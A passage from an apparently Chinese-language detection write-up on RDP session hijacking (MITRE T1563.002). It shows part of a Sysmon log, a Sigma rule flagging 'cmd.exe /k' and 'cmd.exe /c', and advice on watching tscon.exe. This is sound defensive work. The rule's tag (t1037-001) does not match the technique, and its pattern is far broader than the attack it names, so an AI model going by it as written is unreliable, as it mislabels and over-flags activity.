Hashes: SHA1=622FA2729408E5F467A592223219DA7C547E7CC7,MD5=ABB56882148DE65D53ABFC55544A49A8,SHA256=78097C7CD0E57902536C60B7FA17528C313DB20869E5F944223A0BA4C801D39B,IMPHASH=35A7FFDE18D444A92D32C8B2879450FF
ParentProcessGuid: {78c84c47-dec6-61df-0601-000000000900}
ParentProcessId: 5196
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
ParentUser: ZHULI\Administrator
```
## 检测规则/思路
### Sigma规则
```yml
title: Windows远程服务会话劫持
description: 攻击者可能会劫持合法用户的远程桌面会话用以在内网环境中横向移动。
author: 12306Br0
date: 2022/01/13
references:
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1563.002/T1563.002.md
tags:
- attack.t1037-001
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
CommandLine:
- 'cmd.exe /k'
- 'cmd.exe /c'
condition: selection
level: high
```
### 建议
考虑监控tscon.exe的使用进程，监控参数中使用cmd.exe /k或 cmd.exe /c的服务创建，用于检测RDP会话劫持。
RDP的使用可能是合法的，这取决于网络环境和它的使用方式。其他因素，如访问模式和远程登录后发生的活动，可能表明RDP的可疑或恶意行为。
## 参考推荐
MITRE-ATT&CK-T1563-002
<https://attack.mitre.org/techniques/T1563/002/>
Atomic-red-team-T1563.002
<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1563.002/T1563.002.md>
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